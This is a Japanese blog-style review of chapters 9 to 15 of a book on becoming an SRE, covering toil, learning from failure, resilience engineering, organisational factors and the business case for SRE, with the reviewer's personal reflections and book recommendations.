ムッライナタン,エルダー シャフィール早川書房AmazonChapter 9. Establishing a Relationship to ToilToilを単に「嫌な仕事」と片付けない本章は、SREにとって馴染み深いトピックである「Toil」について、より深く掘り下げた章でした。Toil(単純作業)は、SREの文脈でしばしば登場する概念ですが、その定義や特徴、そして私たちがToilとどのように向き合うべきかについては、これまであまり明確に語られてこなかったように感じます。本章では、Vivek Rauが提示したToilの定義を出発点としつつ、より nuancedで健全なToilとの付き合い方を模索しています。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonまず印象的だったのは、Toil を単に「嫌な仕事」として片付けるのではなく、より精緻に定義しようとしている点です。 Rauによれば、Toilとは、manual(手作業)、repetitive(反復的)、automatable(自動化可能)、tactical(戦術的)、no enduring value(持続的価値がない)、O(n) with service growth(サービスの成長に比例)といった特徴を持つ作業のことを指します。これらの特徴をすべて満たす必要はありませんが、当てはまる項目が多いほど、その作業はToilである可能性が高いと言えるでしょう。また、「誰のToilについて話しているのか」という問いも重要だと指摘されています。 通常、SREが対処しようとしているのは、システムの運用に関わるToil(operational Toil)であり、顧客が直面するToil(customer Toil)ではありません。ただし、顧客のToilを軽減することもSREの新しいフロンティアになり得ると著者は示唆しています。運用のToilと顧客のToilの間には、興味深い関連性があるのかもしれません。Toilに注目する3つの要因次に、SREがToilに注目する理由について、著者は3つの要因を挙げています。 1つ目は、美的感覚(aesthetics)です。SREは、非効率的で不要なToilを根本的に嫌うという特性を持っているのかもしれません。2つ目は、お金(money)の問題です。高度なスキルを持つSREを雇用するコストは高く、彼らにToilではなく価値ある仕事をしてもらうことが組織の財務的利益につながります。3つ目は、時間の使い方と仕事の満足度です。Toilに費やす時間が増えれば、エンジニアリング業務に充てられる時間が減り、SREの仕事の満足度も下がってしまいます。さらに、Toil がサービスの成熟度と関連していることも指摘されています。 新しいサービスほど、モニタリングやアラートの調整が不十分であったり、運用に必要なプロセスの自動化が不足していたりするため、Toil が多くなる傾向があります。サービス立ち上げ初期のToil(Early Toil)と、成熟したサービスに付きまとうToil(Established Toil)を区別することが、Toil削減に向けた戦略を立てる上で重要だというのは、良い視点だと感じました。そして、Toil の削減(あるいは排除)について、著者は興味深い見方を示しています。 よく語られるのは、「Toil を特定し、自動化やセルフサービス化によって排除する」というストーリーですが、著者はこれに疑問を呈しています。Toil は完全に排除できるわけではなく、別の形に姿を変えるだけだというのです。自動化によってToil が減っても、その分、コードの複雑性が増す。セルフサービス化によって運用チームのToil は減っても、その分、Toil が細分化されてユーザー側に分散される。著者はこれを「Toil の保存則」と呼んでいます。 Toil との健全な付き合い方を確立するためには、この保存則を直視する必要があるでしょう。トイルの削減に向けた取り組みを、単一のシステムレベルから、環境全体のクラスレベルに引き上げることも重要だと著者は指摘しています。例えば、新しいサービスをモニタリングシステムにオンボーディングする作業を大幅に簡略化することで、Early Toil を大きく削減できるかもしれません。さらに、過去のToil(established)、現在のToil(early)、未来のToilのどれに有限のリソースを割り当てるかという、時間軸を意識した判断も求められます。Toilとの健全な付き合い方個人的には、「Toil を完全に排除するのではなく、より有害度の低い形に変換していく」という考え方に強く共感しました。 トイルを減らす努力は続けつつも、同時に発生し得る複雑性や、顧客側への影響についても意識しておく必要がありそうです。私自身、SREとして日々Toilと向き合っていますが、それを単に嫌な仕事として捉えるのではなく、サービスの成熟度や技術的負債との関係性を意識しながら、長期的視点でToilの削減に取り組んでいきたいと思います。また、生成AIがこれらの意思決定にどのように影響するのか考える必要があると思っています。本章で得られた知見は、そのための指針になってくれるはずです。面倒なことはChatGPTにやらせよう (KS情報科学専門書)作者:カレーちゃん,からあげ講談社AmazonChapter 10. Learning from Failure障害からの学びはSREの中核的な活動本章は、システムの障害から学ぶことの重要性と、その実践方法について深く掘り下げた章でした。SREにとって、障害からの学びは、適切な信頼性レベルを達成するための中核的な活動だと言えます。 モニタリング/オブザーバビリティ、SLI/SLOによる目標設定、そしてインシデント/アウトリッジ対応という3つの実践が交差する地点に、障害からの学びがあるのだと著者は指摘しています。この学びを通じて、現状(what is)と目標(what should be)のギャップを埋めていくことができるのです。反脆弱性[下]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazonまず印象に残ったのは、障害について語る言葉選びが、私たちの思考や行動に大きな影響を与えるという指摘です。 例えば、「root cause(根本原因)」という言葉は、複雑な障害を単一の原因に帰着させようとする思考を助長しがちです。それに対して、「contributing factors(寄与因子)」という言葉は、障害の複雑性を認識し、多面的な理解を促します。著者が強調するように、SREは障害について語る際の言葉選びにも注意を払う必要があるでしょう。ポストモーテムでも良い次に、ポストインシデントレビュー(PiR)のプロセスについて、詳細な解説がありました。 あ、本書の中でそう言っているだけでポストモーテムが一般的な用語です。ポストインシデントレビューの目的は、インシデントについて徹底的に調査し、関係者間で共通理解を構築しながら、可能な限り多くのことを学ぶことにあります。そのためには、インシデントの詳細な年表を作成し、関係者全員でレビューすることが重要だと著者は述べています。また、レビューの際は、「なぜ」よりも「何が」「どのように」起きたのかに焦点を当てるべきだと指摘しています。「なぜ」を問うことは、原因の特定や対策の検討に性急に走ってしまう危険性があるためです。著者は、ポストインシデントレビューでよく見られる5つの落とし穴についても警鐘を鳴らしています。 「human error(人的ミス)」でインシデントを片付ける、反実仮想的な推論に陥る、結果論で判断する、機械の無謬性を前提とする、ポジティブな側面を無視する、といった点です。これらは、障害の本質的な理解を妨げ、学びを狭めてしまう恐れがあります。私自身、これらの落とし穴に無意識に陥っていたことに気づかされました。レジリエンスエンジニアリングについては、著者が特に重要視している点だと感じました。David Woodsによるレジリエンスの定義は、「不可避な驚きに対応するためにシステムが必要とする能力」というもので、従来のレジリエンス(回復力、耐障害性)の概念を大きく拡張するものです。 レジリエンスを高めるためには、変化や障害に適応するための「適応能力(adaptive capacity)」を、事前に備えておく必要があるのです。私が特に興味深く感じたのは、レジリエンスを「reboundからsustained adaptabilityまでの4段階」で捉える考え方です。 reboundは「障害からの回復」、robustnessは「複雑性やストレスへの対処」、graceful extensibilityは「想定外の事態への適応」、そしてsustained adaptabilityは「進化し続ける環境への継続的適応」を意味します。多くのSREがreboundからrobustnessあたりを目指しているのに対し、レジリエンスエンジニアリングは、その先のgraceful extensibilityやsustained adaptabilityまでを視野に入れているのだと理解しました。また、Safety-IIやSafety-IIIといった概念も紹介されていました。 Safety-IIは、「うまくいっているときに何が起きているのか」に着目することで、障害を未然に防ぐアプローチです。Safety-IIIに至っては、「成功から学ぶ」ことで、失敗を防ぐという画期的な発想だと言えます。私たちSREは、障害対応に追われるあまり、普段うまくいっていることの分析を怠りがちです。レジリエンスエンジニアリングの知見は、そうしたマインドセットを変える上でも示唆に富んでいると感じました。著者も指摘するように、レジリエンスを「動詞」として捉えることが重要だと思います。 レジリエンスは、ただ備わっている特性ではなく、絶え間ない実践によって培われていくものです。障害を避けられない以上、私たちにできることは、レジリエンスを高める営みを続けていくことです。そのためには、レジリエンスエンジニアリングの知見を深く理解し、SREの文脈に適用していく努力が求められるでしょう。レジリエンスエンジニアリングの知見を吸収し活用する私自身、これまではレジリエンスを「回復力」程度の意味で捉えていましたが、本章を読んで、その概念の奥深さに気づかされました。システムのレジリエンスを高めることは、SREの本質的な使命だと言えます。 障害から学ぶことは、そのための重要な一歩です。しかし、それだけでは不十分で、平時のシステムの挙動から学ぶことも欠かせません。レジリエンスエンジニアリングの知見を積極的に吸収し、SRE文化に取り入れていくことが、これからのSREに求められているのだと強く感じました。さらに、カオスエンジニアリングについても言及がありました。 カオスエンジニアリングとは、本番環境で意図的に障害を引き起こし、システムの挙動を理解する取り組みです。単なる「破壊」ではなく、仮説に基づいた意図的な実験であることが重要だと著者は述べています。想定外の事態に備えるための力を養う上で、カオスエンジニアリングは欠かせないアプローチだと感じました。最後に、ポストインシデントレビューで得られた学びを組織全体に広げるための具体的な方法が紹介されていました。 「ブッククラブ」「ニュースレター」「プロダクションレディネスレビューへの反映」「メタ分析とML」など、どれも良いアイデアだと感じました。せっかく得た貴重な学びを、ドキュメントに埋もれさせてはいけません。組織の隅々にまで浸透させる工夫が求められます。全体を通して、障害からの学びがSREの中核的な活動である一方で、それを実践することの難しさも再認識させられました。 言葉選びひとつとっても、私たちの無意識のバイアスが入り込む余地があります。学びを最大化するためには、レジリエンスエンジニアリングやカオスエンジニアリングといった周辺領域の知見も積極的に取り入れていく必要がありそうです。私自身、これまでのキャリアの中でポストインシデントレビューに数多く参加してきましたが、本章で得た学びを胸に、より効果的な障害からの学びを実践していきたいと思います。個人としてだけでなく、チームや組織体としての学びを促すことが、SREに求められる重要なスキルなのだと再認識しました。世界のエリートがIQ・学歴よりも重視! 「レジリエンス」の鍛え方作者:久世 浩司実業之日本社AmazonPart III. Becoming SRE for the OrganizationChapter 11. Organizational Factors for SuccessSREの導入には組織のあり方そのものの見直しが必要な時もある本章は、SREの導入を成功に導くための組織的要因について、非常に良い考察を提示していました。単に技術的なベストプラクティスを導入すれば事足りるわけではなく、組織のあり方そのものを見直す必要性を説得力を持って訴えかけています。著者が最初に問いかけるのは、「SREが解決できる問題を組織が抱えているか」という点です。 具体的には、システムの信頼性の低さ、アウテージ対応の非効率、過剰な運用負荷といった、SREのアプローチが真に効力を発揮できそうな課題を特定することが重要だと指摘しています。SREを導入すれば万事解決すると楽観視するのではなく、その手法が組織の痛点に適合するかを見極める必要があるのです。次に重要な問いは、「その問題を解決するために、組織は実際に何をする覚悟があるか」です。 SREはバズワードとして華やかに語られがちですが、本当の意味で組織に根付かせるには、相応の覚悟と行動が求められます。著者は具体的な問いを投げかけます。信頼性向上のためにエンジニアリングリソースを割けるか。機能開発を後回しにしてでも、インシデント対応の改善に注力できるか。SLOが未達の際、新機能のリリースを躊躇なく延期できるか。ポストモーテムを形骸化させない努力を惜しまないか。オンコール体制は人間的で持続可能なものになっているか。SREがソースコードにアクセスし、信頼性向上に必要な変更を加えられるか。こうした一つ一つの問いに正面から向き合わなければ、SREの真価は発揮できないと著者は警鐘を鳴らしているのです。SREは技法や手法だけでできたら苦労はしねぇまた、SREの効果が表れるまでの「忍耐力」も重要だと指摘しています。 DORAのState of DevOps Report 2023 でも示されているように、信頼性向上の取り組みが実を結ぶまでには一定の時間がかかるものです。短期的な成果を求めるあまり、腰を据えた取り組みを続けられなければ、折角の努力も水泡に帰してしまいます。だからこそ、地道な改善を積み重ねつつ、長期的なゴールを見据える忍耐強さが組織に求められるのです。SREが真に力を発揮するには、組織のあらゆるレイヤーでの「協調性」も欠かせません。 開発チーム、ビジネスサイド、ステークホルダーなどと有機的に連携しながら、信頼性の向上を追求していく必要があります。部署間の壁を越えて協調できる組織文化があるか。SREが他チームのコラボレーションツールに参加できるか。モニタリングやオブザーバビリティのツール選定に SREの意見は反映されているか。そうした具体的な協調性の発露が、SREの成功を左右すると著者は指摘するのです。また、SREにとって「データ駆動の意思決定」は生命線とも言えます。 モニタリングの重要性を説き、その結果を改善アクションに直結させる。そのためには、データの可視化や分析を習慣づけ、意思決定プロセスに組み込む組織文化が不可欠です。エラーバジェットの概念も、まさにデータに基づく意思決定の具現化だと言えるでしょう。こうしたデータ駆動のマインドセットが組織に根付いているかを見極める必要性を、著者は説いているのです。失敗から学ぶ姿勢も、SREの生命線の1つです。 形骸化したポストモーテムではなく、真摯に失敗の教訓を汲み取り、改善に活かすサイクルを回していく。それも1つのチームに閉じた学びではなく、組織の壁を超えて知見を展開していく。そうした失敗からの学びを組織の文化として定着させられるかどうかが、SREの成功を分けると著者は指摘します。インシデントの振り返りが義務的なタスクと化していないか。関係者が建設的に議論できているか。導き出された教訓が確実にアクションに結びついているか。こうした具体的な問いを投げかけることで、組織の学習力を見抜くことができるのです。SREの真価を発揮するための組織体制そして、SREが真の力を発揮するには、現場レベルでの「変化を起こす力」も欠かせません。 ドキュメントの改善から、コードやインフラの変更、ツールの選定、採用プロセスの見直しに至るまで、SREが信頼性向上のために必要な施策を機動的に実行に移せる環境が整っているかどうか。それは、SREの役割への信頼と、裁量の広さの表れだと言えます。もちろん、すべてを自由に変更できる必要はありません。しかし、SREの専門性を活かして、システムを改善していく力を組織が認めているかは、重要なバロメーターになります。加えて、システム内の「摩擦」を発見し、取り除いていく感度の高さも重要だと著者は説きます。 障害対応に2時間もかかるのに、サービス可用性の目標値は99.99%といった矛盾。開発者とオペレーション担当者の間の連携不足。旧態依然としたマニュアル作業の残存。そうした非効率や齟齬を嗅ぎ分け、改善を促していく感性がSREには求められます。リスクを放置すれば、いずれ大きな障害を招きかねません。だからこそ、摩擦を見抜き、取り除く意識を組織全体で醸成していく必要があるのです。結局、組織じゃんって話そして著者は、SRE導入の成否は結局のところ「組織の価値観」に集約されると結論付けています。 どんなにSREの手法を形式的に取り入れても、組織の根幹にある価値観と融和しなければ、長続きはしません。信頼性を重視する文化、学習を尊ぶ姿勢、協調性、変化への適応力。そうした価値観が組織のDNAレベルで共有されている必要があるのです。Googleでの SREの成功も、同社のエンジニアリング文化と価値観があってこそだったと著者は指摘します。組織の価値観とSREの理念が合致することが、成功の大前提なのです。SREの導入は、技術的側面だけでなく、組織文化や価値観のレベルでの変革を必要とする壮大な挑戦だと改めて感じさせられました。一朝一夕には成し遂げられない困難な道のりですが、その実現のためには、本章で示された指針に一つ一つ向き合っていく必要があります。SREと真に相性の良い組織を作り上げるには、骨太の問いを自らに投げかけ、その答えを見出す誠実さを業務で体現できればと思いました。Chapter 12. How SRE Can FailSREの失敗は組織全体にネガティブな影響を及ぼしかねない本章は、SREの導入と実践における失敗のシナリオを赤裸々に描き出した、良い章でした。著者は、SREの失敗が、単なる信頼性向上の取り組みの頓挫にとどまらず、組織全体がSREを拒絶するような深刻な事態を招きかねないと警鐘を鳴らしています。私たちは、SREという\\"処方箋\\"を手にしたからといって、安穏としてはいられません。その処方箋の効果を十分に引き出すには、組織の隅々にまで浸透させる地道な努力が欠かせないのです。印象的だったのは、SREの導入を「肩書の変更」だけで済ませようとする安直なアプローチへの警告です。開発者やサポートエンジニアの肩書をSREに変えるだけでは、役割や文化に実質的な変化は生まれません。むしろ、形骸化したSREチームが、開発現場の足を引っ張るリスクすらあります。SREは、単なる看板の掛け替えではなく、価値観、トレーニング、リソース配分、コミュニケーションの在り方などを根本から見直す覚悟なくして、成功しないのです。同様の罠は、既存のTier 3サポートチームをそのままSREチームに転換しようとする試みにも潜んでいます。サポートチームの役割は、エスカレーションされた難解な問題を解決することであり、システムの信頼性を根本から高めるフィードバックループを作り出すことではありません。単なる看板の掛け替えでは、開発チームとの建設的な協働は生まれず、SREの真価を発揮できないままに終わるでしょう。著者が指摘するように、SREへの転換は、チームの使命と働き方を抜本的に見直す取り組みでなければならないのです。SREは失敗をどう扱うのか?また、SREの役割をオンコール対応だけに矮小化するのも危険だと著者は訴えかけています。確かにインシデント対応は、システムの弱点を学び、改善につなげる重要な機会です。しかし、それだけがSREの存在意義だと誤解されては本末転倒です。開発者の負担を軽減するための「例外処理係」としてSREを使うのは論外ですし、システム改善から切り離されたオンコールでは、SREのポテンシャルを十分に引き出せません。SREは、オンコールから得た学びを、信頼性向上のための施策に着実に結びつけてこそ、真価を発揮できるのです。組織のトップレベルで、機能開発とSREによる信頼性向上のバランスをコントロールできる体制の欠如も、SREを失敗に導く要因として指摘されています。開発チームとSREチームのリーダーが、同じエンジニアリング責任者の下に位置していれば、feature workとSREの優先順位をその場その場で適切に判断できるはずです。しかし、両者の調整に上層部の決裁が必要になれば、SREの機動力は大幅に削がれてしまいます。組織のヒエラルキーがSREの足を引っ張ることのないよう、意思決定プロセスをシンプルに保つ工夫が欠かせません。Googleの実践をそのまま自社に当てはめようとする安直なアプローチも、失敗のリスクを孕んでいると著者は指摘します。Googleの書籍から学ぶことは多いですが、自社の文化や特性を無視してそのまま導入しても、うまくいくはずがありません。SREはGoogleの価値観の反映であり、他社が同じことをしたからといって、同じ成果が得られる保証はないのです。大切なのは、Googleの実践に範を求めつつも、自社独自のSREを見出していくこと。時には、Googleとは異なる道を選ぶ勇気も必要になるでしょう。SREがゲートキーパーと化すことも、大きな落とし穴だと著者は述べています。プロダクションリリースの可否を判断する\\"門番\\"としてSREが君臨すれば、開発チームとの対立は避けられません。SREが「get to \\"no\\"」の存在になれば、開発者はSREを障害物とみなし、迂回する方法を編み出そうとするでしょう。SREは、開発チームの創造性を阻害するのではなく、reliability-minded cultureを醸成するパートナーとして振る舞う必要があります。SREの成功が仇となって自滅するケースにも目を向けています。実績を上げたSREチームがあれば、つい何でも任せたくなるものです。しかし、それではSREチームはたちまち疲弊し、モチベーションを失ってしまいます。SREがシステムの面倒を一手に引き受ける\\"heroもの\\"になれば、開発チームの当事者意識は薄れ、システムは脆弱化の一途をたどるでしょう。SREはあくまで開発チームとの協働によって真価を発揮する、ということを肝に銘じる必要があります。また、目に見えづらい改善の積み重ねや、お客様視点の欠如、日々の楽しさの喪失など、些細な障害の集積がSREを衰退させる可能性も示唆されていました。SREの仕事は、日々の地道な努力の積み重ねです。トラブルが減れば減るほど、その存在価値が見えづらくなるのは宿命と言えます。だからこそ、自らの成果を可視化し、社内外にアピールし続けることが肝要なのです。単に社内の評価を高めるためだけでなく、自らの仕事のやりがいを再確認するためにも、これは欠かせない活動だと感じました。全体を通して、SREの道のりが平坦ではないことを思い知らされる章でした。様々な落とし穴が私たちを待ち受けています。肩書だけの変更、不適切なチーム改編、オンコール偏重、ゲートキーピング、Googleの無批判な模倣、業務の押し付け、目に見えない成果、お客様視点の欠如、楽しさの喪失。どれ一つとっても、SREを脆弱化させ、組織から拒絶されるリスクを孕んでいます。SREの失敗から立ち直るためのマインドセットしかし、だからこそSREには果敢にチャレンジする価値があるとも感じました。SREの道は険しいかもしれません。思うように物事が運ばないこともあるでしょう。しかし、SREたるもの、困難から目を背けるわけにはいきません。「SREが組織に拒絶されつつある」という兆候を感じたら、インシデント対応のように、適切なstakeholderを招集し、早期の軌道修正を図る。失敗から立ち直れなかった時は、ポストモーテムのように、徹底的に原因を究明し、教訓を次に活かす。SREのマインドセットとスキルは、まさに逆境を乗り越えるために磨かれてきたのです。とはいえ、組織の理解と協力なくして、SREの成功はあり得ません。セイリングで「向かい風でも、風を読めば前に進める」と言われるように、私たちは、SREへの\\"向かい風\\"を嘆くのではなく、それを追い風に変える知恵を持たねばなりません。失敗の芽を早期に発見し、軌道修正を図る感度の高さ。組織の価値観に働きかけ、開発チームとの信頼関係を築き、お客様の視点を第一に考える粘り強さ。そうした資質を私たち自身が体現することで、自社ならではのSREを根付かせていくことができるはずです。向かい風を利用したダッキングの仕組みは知識さえあればどんな状況も好転する可能性を秘めている例としてとても良いので雑学科学読本 身のまわりのすごい技術大百科から引用させて下さい。雑学科学読本 身のまわりのすごい技術大百科 より引用失敗の先にある成功を信じて、これからもSREの旗を高く掲げ続けたい。本章で赤裸々に描かれた数々の失敗シナリオは、SVレベルの人にこそ読んでもらいたい内容だと感じました。システムの信頼性は、一SREチームだけで達成できるものではありません。開発、オペレーション、マネジメントが一丸となってこそ、真の信頼性は生まれるのです。私たちSREは、荒波にも負けず、組織を信頼性の高い未来へと導く舵取り役でありたいと願っています。ただ単にGoogleが提唱するSREの手法を模倣するのではなく、それぞれの独自性を活かしたSREとしての旅路を歩みたいと思います。この道のりは、組織の隅々にわたってSREの価値観を浸透させることで、目指すべき信頼性という大海原へと進む冒険です。この考え方を共有するために、同僚が『あなたらしくSRE』というテーマでの発表を行い、大変示唆に富む内容でしたので、その資料をここで紹介します。また、netmarkjpさんによる、現場主導で進化するSREのあり方をテーマにした一連の資料も大変参考になります。具体的には、『現場がさき、プラクティスがあと、原則はだいじに』には、現場のニーズを優先しつつ、SREのプラクティスを展開していく重要性が述べられています。『SREsのためのSRE定着ガイド』では、SREが組織内で定着し、根付いていくための具体的なガイドが提供されています。さらに、『SREこのへんで苦戦しがちじゃないですか?』では、SREが直面しがちな困難に対する洞察と対処法が紹介されています。これらの資料は、それぞれの組織やチームが直面する独自の課題に対して、柔軟かつ効果的に対応するためのヒントやインスピレーションを提供してくれるはずです。私たち一人ひとりがSREとして成長し、組織全体の信頼性を高めていくために、これらの資料をぜひ活用してください。 speakerdeck.comChapter 13. SRE from a Business Perspective信頼性はサービスの最も重要な機能本章は、SREという技術的な役割を、ビジネスの観点から捉え直した、良い富む章でした。SREの実践は、単に技術的な信頼性の向上だけでなく、組織の成長や競争力強化にも直結する重要な取り組みだと再認識させられました。著者が対談したBen LutchとDave Rensinの両氏は、Googleという最先端のIT企業で、SREチームのリーダーを長年務めてきた人物です。彼らの知見は、SREをビジネスの文脈で語る上で、非常に良い章です。まず印象的だったのは、「信頼性はサービスの最も重要な機能である」という指摘です。顧客がサービスを使い続けるためには、その信頼性が何よりも大切だと言えます。SREは、その信頼性という機能の実現に特化したエンジニアリングチームだと位置づけられるのです。機能開発と信頼性向上は二律背反ではなく、SREという専門チームを設けることで、両者を高いレベルで両立できるというのは、良い視点でした。また、SREの存在意義を測る物差しとして、エラーバジェットの概念が重要だと指摘されていました。サービスの稼働率を100%にするのではなく、ビジネス上許容できる停止時間を設定し、それを超えない範囲でサービスを運用する。この考え方は、SREが目指す現実的な信頼性の追求方法だと感じました。エラーバジェットの消費率を追跡することで、SREチームの価値を可視化し、経営層を納得させることができるというアイデアは、示唆に富んでいます。SREチームの予算確保の際は、組織が抱える課題を起点に議論することが肝要だと著者は述べています。漠然と「SREの予算が欲しい」と訴えても、説得力に欠けます。「ここ数ヶ月で発生した障害は許容できないレベルにあります。それを防ぐために、最低限このくらいのリソースが必要だ」といった具体的な問題提起が求められます。また、SREがもたらすインパクトを、顧客体験や機会損失の回避といったビジネス指標に言い換える工夫も大切だと感じました。一方で、SREチームが陥りがちな落とし穴についても言及がありました。デベロッパーから問題をすべて丸投げされ、単なる「ページャーモンキー」と化してしまう。改善活動がおろそかになり、問題対応に明け暮れる「トイルバケツ」になってしまう。こうした事態に陥らないよう、常にSREの役割と価値を組織に示し続ける必要があるのだと実感しました。また、SREチームのヘッドカウントについても、良い議論がありました。「開発者を残業から解放したい」といった安易な動機でSREチームを肥大化させるのは賢明ではありません。あくまで、サービスの信頼性目標の達成に必要十分な人員を確保することが肝要です。一方で、疲弊しすぎず、エンジニアリング活動に注力できる最低限の人数は確保すべきだとも述べられています。ビジネスの要請とSREの働き方のバランスを取ることの難しさを感じさせられました。SREの価値を経営層に伝え続けることの重要性全体を通して、SREの価値を経営層に伝え、組織に定着させていくことの重要性を再認識した章でした。技術的な側面だけでなく、ビジネスの文脈でSREの存在意義を示し続けることが、その役割を確立する上で欠かせません。とはいえ、そこに正解はなく、各組織の状況に合わせて、試行錯誤していくことが求められるのだと感じました。SREという役割に惹かれて飛び込んできた私たちエンジニアにとって、ビジネスの観点は、ともすれば苦手意識を持ちがちな領域かもしれません。しかし、本章で紹介されていたフレームワークは、経営層とのコミュニケーションを助けてくれる強力な武器になるはずです。SLOに基づくサービス運用、エラーバジェットによるインパクトの可視化、ビジネス課題起点の要員計画。そうした考え方を身につけることで、SREとしてのキャリアをより確かなものにしていけるでしょう。私自身、まだまだ経験の浅いSREですが、この章で得られた学びを胸に、技術とビジネスの両面でのSREの価値向上に努めていきたいと思います。開発チームと経営層の間に立ち、両者の言葉を翻訳しながら、信頼性というゴールに向かって組織を牽引していく。そんなSREのあるべき姿が、この章を通して見えてきたように感じています。単に技術的なスキルを磨くだけでなく、ビジネスの文脈でSREの価値を語れるエンジニアになること。それが、これからのSREに求められる資質なのかもしれません。経営層の期待に真摯に向き合いつつ、現場のエンジニアリングにも手を抜かない。 その両立は容易ではありませんが、その先にこそ、SREのやりがいがあると信じています。著者も述べているように、SREをビジネスの文脈で語ることは、まだまだ探求の余地がある領域だと感じました。一人一人のSREが、自らの経験を言語化し、共有し合うことで、その知見体系はさらに洗練されていくはずです。私も微力ながら、その営みに貢献していければと思います。技術の力で、ビジネスの信頼を勝ち得る。本章はそんなSREの新たな可能性を感じさせてくれる内容でした。エンジニアリングの高みを目指すと同時に、ビジネスの言葉を学び、組織への貢献を示し続けること。それがこれからのSREに求められる道なのだと感じています。Chapter 14. The Dickerson Hierarchy of Reliability (A Good Place to Start)信頼性向上の第一歩としての The Dickerson Hierarchy of Reliability本章は、SREを導入したばかりの組織が、何から着手すべきかを示してくれる指針を示してくれる章でした。著者のDavid Blank-Edelman氏は、システムの信頼性を高めるための取り組みは山のようにあるものの、その中から成果の上がる一歩を見出すのは容易ではないと指摘します。 そこで、この難題に対する最良の答えとして紹介されているのが、Mikey Dickersonが提唱した「The Dickerson Hierarchy of Reliability」です。ちなみに公式にもサービス信頼性の階層があります。Figure III-1. Service Reliability Hierarchy https://sre.google/sre-book/part-III-practices/ より引用この階層モデルは、信頼性向上に向けた取り組みを、monitoring/observability、incident response、postincident review、testing/release、provisioning/capacity planningの5つのレベルに分類しています。 そして、マズローの欲求段階説になぞらえて、下位のレベルから着実に積み上げていくことを推奨しているのです。シンプルながらも良いフレームワークだと感じました。印象的だったのは、最も重要な基盤としてmonitoring/observabilityが位置づけられている点です。 システムの現状を可視化し、改善の方向性を定める上で、モニタリングは欠かせない基盤になります。加えて、チーム内での建設的な議論を促し、SLOの設定を支えるなど、モニタリングが果たす役割の広がりにも気づかされました。また、著者がpostincident reviewを\\"transformative\\"かつ\\"magical\\"なプロセスだと称賛している点も印象的でした。 障害対応は、ともすれば時間と労力の無駄になりがちです。しかし、そこから学びを得て、システムを改善につなげられれば、むしろ価値を生み出せるのだと。レジリエンスエンジニアリングの知見を応用し、障害から学ぶ文化を組織に根付かせることの重要性を、改めて感じさせられました。もちろん、この階層モデルは、SREの業務すべてを網羅しているわけではありません。著者自身、モデルの限界を認めつつ、アーキテクチャやtoil改善におけるSREの貢献にも言及しています。 ただ、SRE導入の初期段階では、まずはこの5つのレベルに注力し、確実な成果を積み重ねていくことが肝要なのだと感じました。一方で、著者はSRE導入の過程で陥りがちな落とし穴についても警鐘を鳴らしています。 例えば、オンコール対応だけが仕事になり、「ページャーモンキー」と化してしまう。postincident reviewに偏重し、ソフトウェアライフサイクル全体への関与が疎かになる。crisisの対応に明け暮れ、smokejumperに成り下がる。SREがただの「エンジニア」とみなされ、開発チームに引き抜かれる。こうした兆候は、SREの価値を大きく毀損してしまうリスクを孕んでいます。とはいえ、SRE導入の道のりが平坦ではないことは、私自身、身をもって実感しているところです。大切なのは、地道な改善の積み重ねを通じて、組織にSREの存在価値を示し続けること。 オンコールの引き受けから始まった関係が、pull requestを通じた開発への貢献へと深化していく。モニタリングの指標がチームの共通言語となり、障害が減っていく。そうした目に見えるインパクトを着実に生み出していくことが、SREの評価を高める近道になるのだと感じました。全体を通して、体系立てて信頼性向上に取り組む上で、The Dickerson Hierarchy of Reliabilityが強力な羅針盤になり得ることを実感した章でした。 網羅的とは言えないまでも、スタートダッシュを切る上での重要な指針が凝縮されていると感じます。SREの真骨頂は試行錯誤にありただ、マニュアル通りにここまでやればOKというものでもないのがSREの面白さでもあります。 各組織のコンテキストに合わせて、創意工夫を重ねながら、hierarchy外の領域にもフロンティアを広げていく。その探究心こそが、SREたるゆえんなのかもしれません。私自身、ここ数年、監視基盤の整備や、incident responseの体制づくりに注力してきました。今後は、そこで得た知見を開発プロセスにも反映させつつ、proactiveなケイパシティプランニングにも踏み出していきたいと考えています。その過程では、様々な試行錯誤を重ねることになるでしょう。ただ、その試行錯誤こそがSREの真骨頂だと信じています。 ピラミッドを一歩ずつ登りながら、いつの日か、その頂へと辿り着けるよう、これからも研鑽を積んでいきたいと思います。Figure 14-1. Slightly modified version of the Dickerson Hierarchy of Reliability より引用著者が最後に投げかけてくれた「SREがうまくいっている兆候」も、私にとって大きな励みになりました。自分たちの存在が当たり前のように受け入れられ、モニタリングの指標が部門の共通言語になり、開発への貢献が目に見える形で認められる。そんな日が来るまで、地道に信頼性向上の階段を上っていきたいと思います。The Dickerson Hierarchy of Reliabilityは、SREという旅路に不可欠な道標だと感じました。 ただ、その先に広がるのは、各組織が切り拓くオリジナルのロードです。ゴールのない旅だからこそ、一歩一歩を大切にしながら、信頼性というバトンを手渡していく。私もその輪の中で、自分なりの道を見出していけたらと思います。Chapter 15. Fitting SRE into Your OrganizationSREの導入には組織のカルチャーや構造とのフィット感が重要本章は、SREを組織に導入する際の実践的な指針を提示してくれた章でした。SREの導入は、単なる技術的なプラクティスの適用にとどまらず、組織のカルチャーや構造とのフィット感を意識しながら、戦略的に進めていく必要があるのだと実感させられました。特に印象に残ったのは、SREの導入に際して、いきなり専任チームを立ち上げるのではなく、まずはSREの考え方や手法を、日々の業務の中で部分的に試してみることを推奨している点です。 例えば、サービスのSLI/SLOを定義してみる、ポストモーテム分析のやり方を見直してみるなど、小さな一歩から始められます。そうした草の根の取り組みを通じて、SREのメリットを組織に示しつつ、本格的な導入への足がかりを作っていく。地に足のついた漸進的なアプローチだと感じました。もちろん、環境次第では、いきなりSREチームが編成されたり、M&Aを通じてSREが編入されたりすることもあるでしょう。 そうした状況でも、SREの働き方を「実験」と位置づけ、仮説検証を重ねながら、最適解を模索していくマインドセットが大切だと述べられています。完璧なモデルなんてないのだから、試行錯誤を恐れずに、組織にフィットする形を追求していこうと。アジャイル的な考え方に通底するものを感じました。また、SREの組織的な位置づけについても、良い議論がありました。 中央集権型、分散型、ハイブリッド型の3つのモデルが紹介され、それぞれの長所と短所が丁寧に分析されています。組織の規模や成熟度、過去の前例などを考慮しつつ、自社に合ったモデルを選ぶ必要があるのだと。ただ、どのモデルを選ぶにしても、開発チームとSREチームが協調的に連携し、継続的な改善を推進できる体制を築くことが肝要だと強調されていました。そして、SREの真価は、組織内にフィードバック ループを張り巡らせ、回し続けることにあると著者は力説しています。 